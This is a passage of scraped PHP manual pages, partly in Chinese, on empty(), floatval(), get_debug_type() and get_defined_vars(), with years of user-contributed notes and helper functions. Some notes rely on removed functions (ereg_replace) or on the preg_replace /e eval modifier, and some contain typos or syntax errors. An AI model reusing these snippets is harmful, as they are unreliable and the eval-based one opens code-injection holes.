echo empty($vat);  // returns true
?>
ehsmeng 21-Sep-2010 05:25
I can't use empty() in all situations because '0' is usually not considered empty to me. I did a quick benchmark over the most common ways of testing it. '' == var suffers from '' == 0 is true so that's just there for curiosity.

<?php
    $microtimeref = microtime(true);
    $a = 0;
    $b = 'asd';
    for ($i = 0; $i < 5000000; $i++)
    {
        if (0 == mb_strlen ($b))
        {
            $a++;
        }
    }
    echo "Total time 0 == mb_strlen(var): <b>" . round(microtime(true) - $microtimeref,3) . 's</b><br />';
?>

The results:

Total time 0 == mb_strlen(var): 3.141s
Total time 0 === strlen(var): 2.904s
Total time 0 == strlen(var): 2.878s
Total time '' == var: 1.774s
Total time '' === var: 1.706s
Total time empty(var): 1.496s

Thus '' === var will be my zero length string test.
marko dot crni at gmail dot com 16-Sep-2010 11:06
Calling non existing object property, empty($object->prop), will trigger __isset(), the same way as isset($object->prop) does, but there is one difference. If __isset() returns TRUE, another call to __get() will be made and actual return value will be result of empty() and result of __get().
aidan1103 at yahoo dot com 26-Mar-2010 10:11
empty() should not necessarily return the negation of the __isset() magic function result, if you set a data member to 0, isset() should return true and empty should also return true.  A simpler implementation of the __isset magic function would be:

public function __isset($key) {
  return isset($this->{$key});
}

I don't understand why this isn't included in stdClass and inherited by default.
Janci 24-Aug-2009 08:57
Please note that results of empty() when called on non-existing / non-public variables of a class are a bit confusing if using magic method __get (as previously mentioned by nahpeps at gmx dot de). Consider this example:

<?php
class Registry
{
    protected $_items = array();
    public function __set($key, $value)
    {
        $this->_items[$key] = $value;
    }
    public function __get($key)
    {
        if (isset($this->_items[$key])) {
            return $this->_items[$key];
        } else {
            return null;
        }
    }
}

$registry = new Registry();
$registry->empty = '';
$registry->notEmpty = 'not empty';

var_dump(empty($registry->notExisting)); // true, so far so good
var_dump(empty($registry->empty)); // true, so far so good
var_dump(empty($registry->notEmpty)); // true, .. say what?
$tmp = $registry->notEmpty;
var_dump(empty($tmp)); // false as expected
?>

The result for empty($registry->notEmpty) is a bit unexpeced as the value is obviously set and non-empty. This is due to the fact that the empty() function uses __isset() magic functin in these cases. Although it's noted in the documentation above, I think it's worth mentioning in more detail as the behaviour is not straightforward. In order to achieve desired (expexted?) results, you need to add  __isset() magic function to your class:

<?php
class Registry
{
    protected $_items = array();
    public function __set($key, $value)
    {
        $this->_items[$key] = $value;
    }
    public function __get($key)
    {
        if (isset($this->_items[$key])) {
            return $this->_items[$key];
        } else {
            return null;
        }
    }
    public function __isset($key)
    {
        if (isset($this->_items[$key])) {
            return (false === empty($this->_items[$key]));
        } else {
            return null;
        }
    }
}

$registry = new Registry();
$registry->empty = '';
$registry->notEmpty = 'not empty';

var_dump(empty($registry->notExisting)); // true, so far so good
var_dump(empty($registry->empty)); // true, so far so good
var_dump(empty($registry->notEmpty)); // false, finally!
?>

It actually seems that empty() is returning negation of the __isset() magic function result, hence the negation of the empty() result in the __isset() function above.
denobasis-bozic et yahoo.com 18-Jul-2009 04:54
test if all multiarray's are empty

<?php
function is_multiArrayEmpty($multiarray) {
    if(is_array($multiarray) and !empty($multiarray)){
        $tmp = array_shift($multiarray);
            if(!is_multiArrayEmpty($multiarray) or !is_multiArrayEmpty($tmp)){
                return false;
            }
            return true;
    }
    if(empty($multiarray)){
        return true;
    }
    return false;
}

$testCase = array (
0 => '',
1 => "",
2 => null,
3 => array(),
4 => array(array()),
5 => array(array(array(array(array())))),
6 => array(array(), array(), array(), array(), array()),
7 => array(array(array(), array()), array(array(array(array(array(array(), array())))))),
8 => array(null),
9 => 'not empty',
10 => "not empty",
11 => array(array("not empty")),
12 => array(array(),array("not empty"),array(array()))
);

foreach ($testCase as $key => $case ) {
    echo "$key is_multiArrayEmpty= ".is_multiArrayEmpty($case)."<br>";
}
?>

OUTPUT:
========

0 is_multiArrayEmpty= 1
1 is_multiArrayEmpty= 1
2 is_multiArrayEmpty= 1
3 is_multiArrayEmpty= 1
4 is_multiArrayEmpty= 1
5 is_multiArrayEmpty= 1
6 is_multiArrayEmpty= 1
7 is_multiArrayEmpty= 1
8 is_multiArrayEmpty= 1
9 is_multiArrayEmpty=
10 is_multiArrayEmpty=
11 is_multiArrayEmpty=
12 is_multiArrayEmpty=
mlibazisi mabandla 28-May-2009 02:47
in cases when "0" is not intended to be empty, here is a simple function to safely test for an empty string (or mixed variable):

<?php
function _empty($string){
     $string = trim($string);
     if(!is_numeric($string)) return empty($string);
     return FALSE;
}
?>
thomas at thomasnoest dot nl 28-Nov-2008 01:54
Note on the selfmade empty function below:

function_exists() returns false on language constructs and empty is a language construct.
Anonymous 20-Aug-2008 02:41
To add on to what anon said, what's happening in john_jian's example seems unusual because we don't see the implicit typecasting going on behind the scenes.  What's really happening is:

$a = '';
$b = 0;
$c = '0';

(int)$a == $b -> true, because any string that's not a number gets converted to 0
$b==(int)$c -> true, because the int in the string gets converted
and
$a==$c -> false, because they're being compared as strings, rather than integers.  (int)$a==(int)$c should return true, however.

Note: I don't remember if PHP even *has* typecasting, much less if this is the correct syntax.  I'm just using something for the sake of examples.
tom at tomwardrop dot com 22-May-2008 05:01
In reply to "admin at ninthcircuit dot info",

Using str_replace is unnecessary. I would encourage the use of trim which would most likely be faster (haven't tested) and easier. Trim also takes care of other white space like line breaks and tabs. Actually, in most of the applications I code, I use a multi-dimensional array map function with trim on the Super Globals such as $_POST, $_GET and $_COOKIE as so far, there hasn't been an instance where I would want any user input to begin or end with whitespace. The good thing about doing this is that you never have to worry about 'trimming' your input which makes your code easier and more reliable (incase you forget to trim some input).
Greg Hartwig 02-May-2008 02:55
David from CodeXplorer:
>> The ONLY reason to use empty() is for code readability. It is the same as an IF/ELSE check.
>> So, don't bother using EMPTY in the real world.

This is NOT true.  empty() will not generate warnings if you're testing against an undefined variable as a simple boolean check will.  On production systems, warnings are usually shut off, but they are often active on development systems.

You could test a flag with
   <?php if ($flagvar)  ... ?>
but this can generate a warning if $flagvar is not set.

Instead of
   <?php if (isset($flagvar) && $flagvar)  ... ?>
you can simply use
   <?php if (!empty($flagvar))  ... ?>

for easy readability without warnings.
EllisGL 04-Oct-2007 02:48
Here's what I do for the zero issue issue:
if($val == '' && $val !== 0 && $val !== '0')
rkulla2 at gmail dot com 05-Sep-2007 03:57
Since I didn't like how empty() considers 0 and "0" to be empty (which can easily lead to bugs in your code), and since it doesn't deal with whitespace, i created the following function:

<?php
function check_not_empty($s, $include_whitespace = false)
{
    if ($include_whitespace) {
        // make it so strings containing white space are treated as empty too
        $s = trim($s);
    }
    return (isset($s) && strlen($s)); // var is set and not an empty string ''
}
?>

Instead of saying if (!empty($var)) { // it's not empty } you can just say if (check_not_empty($var)) { // it's not empty }.

If you want strings that only contain whitespace (such as tabs or spaces) to be treated as empty then do: check_not_empty($var, 1)

If you want to check if a string IS empty then do: !check_not_empty($var).

So, whenever you want to check if a form field both exists and contains a value just do: if (check_not_empty($_POST['foo'], 1))

no need to do if (isset() && !empty()) anymore =]
jmarbas at hotmail dot com 01-Jul-2005 09:10
empty($var) will return TRUE if $var is empty (according to the definition of 'empty' above) AND if $var is not set.

I know that the statement in the "Return Values" section of the manual already says this in reverse:

"Returns FALSE if var has a non-empty and non-zero value."

but I was like "Why is this thing returning TRUE for unset variables???"... oh i see now... Its supposed to return TRUE for unset variables!!!

<?php
  ini_set('error_reporting',E_ALL);
  ini_set('display_errors','1');
  empty($var);
?>
paul at worldwithoutwalls dot co dot uk 22-May-2004 10:09
Note the exceptions when it comes to decimal numbers:

<?php
$a = 0.00;
$b = '0.00';
echo (empty($a)? "empty": "not empty"); //result empty
echo (empty($b)? "empty": "not empty"); //result not empty
//BUT...
$c = intval($b);
echo (empty($c)? "empty": "not empty"); //result empty
?>

For those of you using MySQL, if you have a table with a column of decimal type, when you do a SELECT, your data will be returned as a string, so you'll need to do apply intval() before testing for empty.

e.g.
TABLE t has columns id MEDIUMINT and d DECIMAL(4,2)
and contains 1 row where id=1, d=0.00
<?php
$q = "SELECT * FROM t";
$res = mysql_query($q);
$row = mysql_fetch_assoc($res);
echo (empty($row['d'])? "empty": "not empty"); //result not empty
?>


获取变量的浮点值

  • ? empty
  • get_debug_type ?
  • PHP Manual
  • 变量处理函数
  • 获取变量的浮点值

floatval

(PHP 4 >= 4.2.0, PHP 5, PHP 7, PHP 8)

floatval — 获取变量的浮点值

说明

floatval(mixed $value): float

获取变量 value 的 float 值。

参数

value

可以是任何标量类型。floatval() 不能用于对象，这样做会发出 E_WARNING 级别的错误并返回 1。

返回值

指定变量的浮点值。空数组返回 0，非空数组返回 1。

字符串很可能返回 0，尽管这取决于字符串最左边的字符。适用浮点数强制转换的通用规则。

更新日志

版本 | 说明
8.0.0 | 对象转换时的错误级别已从 E_NOTICE 更改为 E_WARNING。

示例

Example #1 floatval() 示例

<?php
$var = '122.34343The';
$float_value_of_var = floatval($var);
echo $float_value_of_var; // 122.34343
?>

Example #2 floatval() 最左边的字符为非数字的示例

<?php
$var = 'The122.34343';
$float_value_of_var = floatval($var);
echo $float_value_of_var; // 0
?>

参见

  • boolval() - 获取变量的布尔值
  • intval() - 获取变量的整数值
  • strval() - 获取变量的字符串值
  • settype() - 设置变量的类型
  • 类型转换

User Contributed Notes

iliyazelenkog at gmail dot com 02-Nov-2018 10:51
(float) would be more performant here (up to 6x times faster).

intval, floatval, doubleval, strva for PHP4 functions (intval, floatval, doubleval, strval), in PHP5 use type casting construction (i.e. '(type) parameter').
radler63 at hotmail dot com 16-Feb-2018 12:27
I get the following disturbing results:
var_dump string(10) "?0.01333"
echo the string=?0.01333
echo (float)string=0
echo floatval(string)=0

The string is an outcome of array_map('str_getcsv', file(...
I can't find the characters 8-10

thanks
T-Soloveychik at ya.ru 03-Mar-2017 02:23
Float value less than 0.0001 (0.0000999999999999995) will be converted by floatval to scientific notation (exponential notation):
<?php

var_dump(floatval(0.0000999999999999995)); # >> float(0,0001)

var_dump(floatval("0.000099")); # >> float(9.9E-5)

var_dump((string)floatval(0.000099)); # >> string(6) "9.9E-5"
pierpaolocira 15-Nov-2016 11:41
Be aware the last tofloat($num).

In theory it is very useful to have a function "separator-agnostic" (I think "locale based" solutions are useless if you have to parse a user file that can have a locale different to the server).

But this can lead to misinterpretations; in short: "123,456" is "123.456" (so comma used as decimal separator) or "123456" (comma used as thousand separator).

In any case, if you really want to use it, please don't forget that this function doesn't manage negative numbers.
movila dot e dot v at gmail dot com 05-Jul-2016 08:05
<?php
       $price = '1.299,00 EUR';
    //$price = 'EUR 1.299,00';
    //$price = '$1,745.09';
    //$price = '$14';
    //$price = '$.14';

    function floatValue($str){
        if(preg_match("/([0-9\.,-]+)/", $str, $match)){
            $value = $match[0];
            if( preg_match("/(\.\d{1,2})$/", $value, $dot_delim) ){
                $value = (float)str_replace(',', '', $value);
            }
            else if( preg_match("/(,\d{1,2})$/", $value, $comma_delim) ){
                $value = str_replace('.', '', $value);
                $value = (float)str_replace(',', '.', $value);
            }
            else
                $value = (int)$value;
        }
        else {
            $value = 0;
        }
        return $value;
    }

    echo floatValue($price);
/*
    1.299,00
    1.299,00
    1,745.09
    14
    0.14
*/
?>
Alexey M 23-Mar-2016 02:28
There is much easier way to deal with formatted numbers:

<?php
$str = '13,232.95';
$var = (double)filter_var($str, FILTER_SANITIZE_NUMBER_FLOAT, FILTER_FLAG_ALLOW_FRACTION);
var_dump($var);
?>
double(13232.95)
zfcb13 at gmail dot com 24-Oct-2015 10:18
More elegant function with selection of decimal point (deafault ,):
<?php
function floatvaldec($v, $dec=',') { return floatval(ereg_replace("," , "." , ereg_replace("[^-0-9$dec]","",$v))); }

// examples:
echo '<br>'.floatvaldec('somthing123.456.789,12Euro') ;
echo '<br>'.floatvaldec('x123,456 789.12 Euro', '.') ;
echo '<br>'.floatvaldec('123.456 789,12$') ;
?>
brewal dot renault at gmail dot com 26-Feb-2014 09:25
This function takes the last comma or dot (if any) to make a clean float, ignoring thousand separator, currency or any other letter :

function tofloat($num) {
    $dotPos = strrpos($num, '.');
    $commaPos = strrpos($num, ',');
    $sep = (($dotPos > $commaPos) && $dotPos) ? $dotPos :
        ((($commaPos > $dotPos) && $commaPos) ? $commaPos : false);

    if (!$sep) {
        return floatval(preg_replace("/[^0-9]/", "", $num));
    }

    return floatval(
        preg_replace("/[^0-9]/", "", substr($num, 0, $sep)) . '.' .
        preg_replace("/[^0-9]/", "", substr($num, $sep+1, strlen($num)))
    );
}

$num = '1.999,369�';
var_dump(tofloat($num)); // float(1999.369)
$otherNum = '126,564,789.33 m2';
var_dump(tofloat($otherNum)); // float(126564789.33)

Demo : http://codepad.org/NW4e9hQH
PapaPinguoin 31-Oct-2011 07:26
To view the very large and very small numbers (eg from a database DECIMAL), without displaying scientific notation, or leading zeros.

FR : Pour afficher les très grand et très petits nombres (ex. depuis une base de données DECIMAL), sans afficher la notation scientifique, ni les zéros non significatifs.

<?php
function floattostr( $val )
{
    preg_match( "#^([\+\-]|)([0-9]*)(\.([0-9]*?)|)(0*)$#", trim($val), $o );
    return $o[1].sprintf('%d',$o[2]).($o[3]!='.'?$o[3]:'');
}
?>

<?php
echo floattostr("0000000000000001");
echo floattostr("1.00000000000000");
echo floattostr("0.00000000001000");
echo floattostr("0000.00010000000");
echo floattostr("000000010000000000.00000000000010000000000");
echo floattostr("-0000000000000.1");
echo floattostr("-00000001.100000");

// result
// 1
// 1
// 0.00000000001
// 0.0001
// 10000000000.0000000000001
// -0.1
// -1.1

?>
secretr at NOSPAM dot e107 dot org 03-Jan-2011 08:37
setlocale() and floatval() duo could break your DB queries in a very simple way:

<?php
setlocale(LC_ALL, 'bg_BG', 'bgr_BGR');
echo floatval(0.15); // output 0,15
?>

You would need simple workaround like:

<?php
function number2db($value)
{
    $larr = localeconv();
    $search = array(
        $larr['decimal_point'],
        $larr['mon_decimal_point'],
        $larr['thousands_sep'],
        $larr['mon_thousands_sep'],
        $larr['currency_symbol'],
        $larr['int_curr_symbol']
    );
    $replace = array('.', '.', '', '', '', '');

    return str_replace($search, $replace, $value);
}

setlocale(LC_ALL, 'bg_BG', 'bgr_BGR');
$testVal = floatval(0.15); // result 0,15
var_dump($testVal, number2db($testVal));

// Result:
// float(0,15)
// string(4) "0.15"
?>
chris at georgakopoulos dot com 29-Jul-2009 08:12
locale aware floatval:

<?php
function ParseFloat($floatString){
    $LocaleInfo = localeconv();
    $floatString = str_replace($LocaleInfo["mon_thousands_sep"] , "", $floatString);
    $floatString = str_replace($LocaleInfo["mon_decimal_point"] , ".", $floatString);
    return floatval($floatString);
}
?>
ted devito 09-Mar-2009 09:10
i noticed all (well, unless i missed something) the functions working with decimals destroy trailing decimal places. this function restores them in case you want to be able to display a consistent precision for users.

<?php
function decimal($val, $precision = 0) {
    if ((float) $val) :
        $val = round((float) $val, (int) $precision);
        list($a, $b) = explode('.', $val);
        if (strlen($b) < $precision) $b = str_pad($b, $precision, '0', STR_PAD_RIGHT);
        return $precision ? "$a.$b" : $a;
    else : // do whatever you want with values that do not have a float
        return $val;
    endif;
}
?>
info at marc-gutt dot de 26-Aug-2008 03:55
<?php
function floatvalue($value) {
     return floatval(preg_replace('#^([-]*[0-9\.,\' ]+?)((\.|,){1}([0-9-]{1,2}))*$#e', "str_replace(array('.', ',', \"'\", ' '), '', '\\1') . '.\\4'", $value));
}
?>

It is much shorter and able to handle those one, too:
xx,-
xx,--
xx'xxx,xx

After using floatvalue() you can go forward with number_format() as usual.
Michiel 30-Jul-2008 05:21
The last getFloat() function is not completely correct.

1.000.000 and 1,000,000 and its negative variants are not correctly parsed. For the sake of comparing and to make myself clear I use the name parseFloat in stead of getFloat for the new function:

<?php
function parseFloat($ptString) {
            if (strlen($ptString) == 0) {
                    return false;
            }

            $pString = str_replace(" ", "", $ptString);

            if (substr_count($pString, ",") > 1)
                $pString = str_replace(",", "", $pString);

            if (substr_count($pString, ".") > 1)
                $pString = str_replace(".", "", $pString);

            $pregResult = array();

            $commaset = strpos($pString,',');
            if ($commaset === false) {$commaset = -1;}

            $pointset = strpos($pString,'.');
            if ($pointset === false) {$pointset = -1;}

            $pregResultA = array();
            $pregResultB = array();

            if ($pointset < $commaset) {
                preg_match('#(([-]?[0-9]+(\.[0-9])?)+(,[0-9]+)?)#', $pString, $pregResultA);
            }
            preg_match('#(([-]?[0-9]+(,[0-9])?)+(\.[0-9]+)?)#', $pString, $pregResultB);
            if ((isset($pregResultA[0]) && (!isset($pregResultB[0])
                    || strstr($preResultA[0],$pregResultB[0]) == 0
                    || !$pointset))) {
                $numberString = $pregResultA[0];
                $numberString = str_replace('.','',$numberString);
                $numberString = str_replace(',','.',$numberString);
            }
            elseif (isset($pregResultB[0]) && (!isset($pregResultA[0])
                    || strstr($pregResultB[0],$preResultA[0]) == 0
                    || !$commaset)) {
                $numberString = $pregResultB[0];
                $numberString = str_replace(',','',$numberString);
            }
            else {
                return false;
            }
            $result = (float)$numberString;
            return $result;
}
?>

Comparing of float parsing functions with the following function:

<?php
function testFloatParsing() {
    $floatvals = array(
        "22 000,76",
        "22.000,76",
        "22,000.76",
        "22 000",
        "22,000",
        "22.000",
        "22000.76",
        "22000,76",
        "1.022.000,76",
        "1,022,000.76",
        "1,000,000",
        "1.000.000",
        "1022000.76",
        "1022000,76",
        "1022000",
        "0.76",
        "0,76",
        "0.00",
        "0,00",
        "1.00",
        "1,00",
        "-22 000,76",
        "-22.000,76",
        "-22,000.76",
        "-22 000",
        "-22,000",
        "-22.000",
        "-22000.76",
        "-22000,76",
        "-1.022.000,76",
        "-1,022,000.76",
        "-1,000,000",
        "-1.000.000",
        "-1022000.76",
        "-1022000,76",
        "-1022000",
        "-0.76",
        "-0,76",
        "-0.00",
        "-0,00",
        "-1.00",
        "-1,00"
    );

    echo "<table>
        <tr>
            <th>String</th>
            <th>floatval()</th>
            <th>getFloat()</th>
            <th>parseFloat()</th>
        </tr>";

    foreach ($floatvals as $fval) {
        echo "<tr>";
        echo "<td>" . (string) $fval . "</td>";

        echo "<td>" . (float) floatval($fval) . "</td>";
        echo "<td>" . (float) getFloat($fval) . "</td>";
        echo "<td>" . (float) parseFloat($fval) . "</td>";
        echo "</tr>";
    }
    echo "</table>";
}
?>
steve at opilo dot net 20-Jul-2008 06:07
Most of the functions listed here that deal with $ and , are unnecessarily complicated. You can use ereg_replace() to strip out ALL of the characters that will cause floatval to fail in one simple line of code:

<?php $output = floatval(ereg_replace("[^-0-9\.]","",$input)); ?>
leprau at leprau dot de 19-Jul-2007 09:26
For those of you, who are looking for a function that rips the first,
but longest possible float (or at least integer) from a string,
like 123.45 from the string "Price: 123,45$"

If no useable value is found, the function returns false.

Checks for both comma and dot as decimal-separator,
but does not check for 3 digits between thousands,
so 1,234.5 is as valid as 1,23,4.5 (both will return 1234.5)

12,.3 will return 12
1,000,000 will return 1000.0 !

(if thousands separator is defined,
decimals should be defined too ...
in fact I was too lazy to check for that too)

Here you go, and feel free to optimize the function ;)
<?php
function getFloat($pString) {
    if (strlen($pString) == 0) {
            return false;
    }
    $pregResult = array();

    $commaset = strpos($pString,',');
    if ($commaset === false) {$commaset = -1;}

    $pointset = strpos($pString,'.');
    if ($pointset === false) {$pointset = -1;}

    $pregResultA = array();
    $pregResultB = array();

    if ($pointset < $commaset) {
        preg_match('#(([-]?[0-9]+(\.[0-9])?)+(,[0-9]+)?)#', $pString, $pregResultA);
    }
    preg_match('#(([-]?[0-9]+(,[0-9])?)+(\.[0-9]+)?)#', $pString, $pregResultB);
    if ((isset($pregResultA[0]) && (!isset($pregResultB[0])
            || strstr($preResultA[0],$pregResultB[0]) == 0
            || !$pointset))) {
        $numberString = $pregResultA[0];
        $numberString = str_replace('.','',$numberString);
        $numberString = str_replace(',','.',$numberString);
    }
    elseif (isset($pregResultB[0]) && (!isset($pregResultA[0])
            || strstr($pregResultB[0],$preResultA[0]) == 0
            || !$commaset)) {
        $numberString = $pregResultB[0];
        $numberString = str_replace(',','',$numberString);
    }
    else {
        return false;
    }
    $result = (float)$numberString;
    return $result;
}
?>
aa at geb-team dot de 04-Sep-2006 08:03
@pillepop2003 at yahoo dot de

<?php
float('-100.00', array('single_dot_as_decimal' => true)); // whoops, returns -10000
?>

use: "/^[0-9-]*[\.]{1}[0-9-]+$/"
instead of: "/^[0-9]*[\.]{1}[0-9-]+$/"
19-Apr-2005 05:30
you can also use typecasting instead of functions:

(float) $value;
pillepop2003 at yahoo dot de 14-Dec-2004 02:38
Use this snippet to extract any float out of a string. You can choose how a single dot is treated with the (bool) 'single_dot_as_decimal' directive.
This function should be able to cover almost all floats that appear in an european environment.

<?php

    function float($str, $set=FALSE)
    {
        if(preg_match("/([0-9\.,-]+)/", $str, $match))
        {
            // Found number in $str, so set $str that number
            $str = $match[0];

            if(strstr($str, ','))
            {
                // A comma exists, that makes it easy, cos we assume it separates the decimal part.
                $str = str_replace('.', '', $str);    // Erase thousand seps
                $str = str_replace(',', '.', $str);    // Convert , to . for floatval command

                return floatval($str);
            }
            else
            {
                // No comma exists, so we have to decide, how a single dot shall be treated
                if(preg_match("/^[0-9]*[\.]{1}[0-9-]+$/", $str) == TRUE && $set['single_dot_as_decimal'] == TRUE)
                {
                    // Treat single dot as decimal separator
                    return floatval($str);

                }
                else
                {
                    // Else, treat all dots as thousand seps
                    $str = str_replace('.', '', $str);    // Erase thousand seps
                    return floatval($str);
                }
            }
        }

        else
        {
            // No number found, return zero
            return 0;
        }
    }

// Examples

echo float('foo 123,00 bar'); // returns 123.00
echo float('foo 123.00 bar' array('single_dot_as_decimal'=> TRUE)); //returns 123.000
echo float('foo 123.00 bar' array('single_dot_as_decimal'=> FALSE)); //returns 123000
echo float('foo 222.123.00 bar' array('single_dot_as_decimal'=> TRUE)); //returns 222123000
echo float('foo 222.123.00 bar' array('single_dot_as_decimal'=> FALSE)); //returns 222123000

// The decimal part can also consist of '-'
echo float('foo 123,-- bar'); // returns 123.00

?>

Big Up.
Philipp
anonymous at start dot be 15-Jun-2004 07:00
Easier-to-grasp-function for the ',' problem.

<?php
function Getfloat($str) {
  if(strstr($str, ",")) {
    $str = str_replace(".", "", $str); // replace dots (thousand seps) with blancs
    $str = str_replace(",", ".", $str); // replace ',' with '.'
  }

  if(preg_match("#([0-9\.]+)#", $str, $match)) { // search for number that may contain '.'
    return floatval($match[0]);
  } else {
    return floatval($str); // take some last chances with floatval
  }
}

echo Getfloat("$ 19.332,35-"); // will print: 19332.35
?>
vickers at hotpop dot com 26-Jan-2004 03:45
floatval() does not work with "$35,234.43", as it could not handle the '$' and the ','.  The following takes care of all values, such that only numeric and the decimal sign are input into floatval().  (It probably shows I'm an old 'c' guy)...this function only lightly tested.

<?php
function strtflt($str) {
    $il = strlen($str);
    $flt = "";
    $cstr = "";

    for($i=0;$i<$il;$i++) {
        $cstr = substr($str, $i, 1);
        if(is_numeric($cstr) || $cstr == ".")
            $flt = $flt.$cstr;
    }
    return floatval($flt);
}
?>

Richard Vickers
vickers@hotpop.com
Zipi 25-Apr-2003 02:51
This function converts a string to a float no matter is the decimal separator dot (.) or comma (,). It also converts integers correctly. It takes the digits from the beginning of the string and ignores all other characters.

<?php
function floatval($strValue) {
   $floatValue = ereg_replace("(^[0-9]*)(\\.|,)([0-9]*)(.*)", "\\1.\\3", $strValue);
   if (!is_numeric($floatValue)) $floatValue = ereg_replace("(^[0-9]*)(.*)", "\\1", $strValue);
   if (!is_numeric($floatValue)) $floatValue = 0;
   return $floatValue;
  }
?>

-Zipi (Finland)
jason at shadonet dot com 07-Mar-2003 07:07
Instead of using floatval which only appeared in PHP 4.2 you could juse use $variable = (float)$variable

This function doesn't seem to add any functionality that wasn't already there.


以适合调试的方式获取变量的类型名称

  • ? floatval
  • get_defined_vars ?
  • PHP Manual
  • 变量处理函数
  • 以适合调试的方式获取变量的类型名称

get_debug_type

(PHP 8)

get_debug_type — 以适合调试的方式获取变量的类型名称

说明

get_debug_type(mixed $value): string

会返回 PHP 变量 value 的类型名称。 该函数会将对象解析为其类名，资源解析为其资源类型名称，标量值解析为其常用名称，就像在类型声明中使用的那样。

该函数与 gettype() 的区别在于：它返回的类型名称更符合实际用法，而不是那些出于历史原因而存在的名称。

参数

value

要检查类型的变量。

返回值

返回的字符串可能有以下值：

类型 + 状态 | 返回值 | 备注
null | "null" | -
Booleans (true or false) | "bool" | -
Integers | "int" | -
Floats | "float" | -
Strings | "string" | -
Arrays | "array" | -
Resources | "resource (resourcename)" | -
Resources (Closed) | "resource (closed)" | 例如：使用 fclose 关闭后的文件流
Objects from Named Classes | 类的全名，包括其命名空间，例如 Foo\Bar | -
Objects from Anonymous Classes | "class@anonymous" | 匿名类是通过 $x = new class { ... } 语法创建的类

示例

Example #1 get_debug_type() 示例

<?php
echo get_debug_type(null) . PHP_EOL;
echo get_debug_type(true) . PHP_EOL;
echo get_debug_type(1) . PHP_EOL;
echo get_debug_type(0.1) . PHP_EOL;
echo get_debug_type("foo") . PHP_EOL;
echo get_debug_type([]) . PHP_EOL;

$fp = fopen(__FILE__, 'rb');
echo get_debug_type($fp) . PHP_EOL;

fclose($fp);
echo get_debug_type($fp) . PHP_EOL;

echo get_debug_type(new stdClass) . PHP_EOL;
echo get_debug_type(new class {}) . PHP_EOL;
?>

以上示例的输出类似于：

null
bool
int
float
string
array
resource (stream)
resource (closed)
stdClass
class@anonymous

参见

  • gettype() - 获取变量的类型
  • get_class() - 返回对象的类名

User Contributed Notes

vyacheslav dot belchuk at gmail dot com 02-Nov-2023 05:52
Also, the function returns the correct type of Closure, as opposed to gettype()

<?php

echo get_debug_type(function () {}) . PHP_EOL;
echo get_debug_type(fn () => '') . PHP_EOL . PHP_EOL;

echo gettype(function () {}) . PHP_EOL;
echo gettype(fn () => '');

?>

Output:

Closure
Closure

object
object


返回由所有已定义变量所组成的数组

  • ? get_debug_type
  • get_resource_id ?
  • PHP Manual
  • 变量处理函数
  • 返回由所有已定义变量所组成的数组

get_defined_vars

(PHP 4 >= 4.0.4, PHP 5, PHP 7, PHP 8)

get_defined_vars — 返回由所有已定义变量所组成的数组

说明

get_defined_vars(): array

此函数返回多维数组。包含调用 get_defined_vars() 作用域内所有已定义的变量、环境变量、服务器变量、用户定义变量列表。

参数

此函数没有参数。

返回值

包含所有变量的多维数组。

示例

Example #1 get_defined_vars() 示例

<?php
$b = array(1, 1, 2, 3, 5, 8);

$arr = get_defined_vars();

// 打印 $b
print_r($arr["b"]);

/* 打印 PHP 解释器的路径（如果用于 CGI）
* 例如 /usr/local/bin/php */
echo $arr["_"];

// 打印命令行参数（如果有的话）
print_r($arr["argv"]);

// 打印所有服务器变量
print_r($arr["_SERVER"]);

// 打印变量数组的所有可用键
print_r(array_keys(get_defined_vars()));
?>

参见

  • isset() - 检测变量是否已声明并且其值不为 null
  • get_defined_functions() - 返回所有已定义函数的数组
  • get_defined_constants() - 返回所有常量的关联数组，键是常量名，值是常量值

User Contributed Notes

cmswares dot com at gmail dot com 10-Jan-2022 11:27
Be aware of what get_defined_vars() function returns in different contexts:

- In global scope, a list of all defined variables, whether superglobals, command line arguments or user-defined variables
- In function scope, only a list of user-defined variables (both arguments and in-body definitions)
- In class/object method scope, does not return class/object properties;

Also, as of PHP 5.4, does not return $_ENV even where available.

For further details and scope tests/results, see https://github.com/php/doc-en/issues/1317
Qiibow 05-Sep-2021 02:55
get_defined_vars() is very useful for importing many values at once
into another scope (Such as User-defined functions).

Below is an example for showing some of many values and their variable-names in a table.
(useful in debugging)

You can put this user-defined function at many places in your script
to show some values (values to be changed in loops)
to check if they are what they shall be there or not.

<?php
// Set "get_defined_vars()" to 2nd argument.
function get_value_table($name_array, $gdv) {
    $name_value_table = [];
    foreach ($name_array as $name) :
        if (!array_key_exists($name, $gdv)) :
            $value = 'undefined';
        elseif (is_bool($gdv[$name])) :
            $value = $gdv[$name]? 'true' : 'false';
        elseif (is_numeric($gdv[$name]) || is_string($gdv[$name])) :
            $value = $gdv[$name];
        elseif (is_array($gdv[$name])) :
            $value = '<pre>'.print_r($gdv[$name],true).'</pre>';
        else :
            $value = (PHP_VERSION_ID >= 80000)? get_debug_type($gdv[$name]) : get_type($gdv[$name]);
        endif;
        $name_value_table[] = '<tr><td>$'.$name.'<td>'.$value;
    endforeach;
    return '<table border=1>'.implode("\n", $name_value_table).'</table>';
} // (f) get_value_table()

$_1 = 'a';
$_2 = 'b';
$_3 = [1,2];
$_4 = false;
$_5 = null;

$name_array = ['_1','_2','_3','_4','_5','_6'];
$show_id = 1;

if ($show_id === 1) :
    echo get_value_table($name_array, get_defined_vars());
endif;
/*
if $show_id === 1, only shows below.

$_1      a
$_2      b
$_3      Array
      (
          [0] => 1
          [1] => 2
      )
$_4      false
$_5      null
$_6      undefined
*/

$_2 = 'c';
if ($show_id === 2) :
    echo get_value_table($name_array, get_defined_vars()); // $_2   c
endif;
# if $show_id === 2, $_2 turns "c".

?>
nix dot code at 4assistance dot com dot nix 22-Jun-2021 01:27
Insert this at point of interest; add keys of unwanted 1st dim variables to 2nd param of array_diff_key
<?php
echo '<pre>defined_except '; var_dump (array_diff_key (get_defined_vars(), ['GLOBALS'=>0,'_SERVER'=>0])); echo ' '.basename(__FILE__).':'.__LINE__.'</pre>'; #die;
?>
antonfedonyuk at gmail dot com 05-Feb-2021 09:29
NOTE: when you call code by eval() PHP append self vars to result, they have "__" prefix ("__source_code" and "__bootstrap_file" in PHP 7.3).

Fix:
<?php
function filter_eval_vars(array $vars): array
{
    foreach ($vars as $key => $value) {
         if ($key[0] === '_' && $key[1] === '_') {
              unset($vars[$key]);
         }
    }
    return $vars;
}

?>
npelov at croler dot net 02-Feb-2021 12:35
get_defined_vars() returns all variables - locally defined vars and global vars (well actually only super globals). If you need local vars only  - for example you need to get variables from a file - let's say config.php and you don't want a missing value to be replaced with a global defined somewhere else.

<?php

  /**
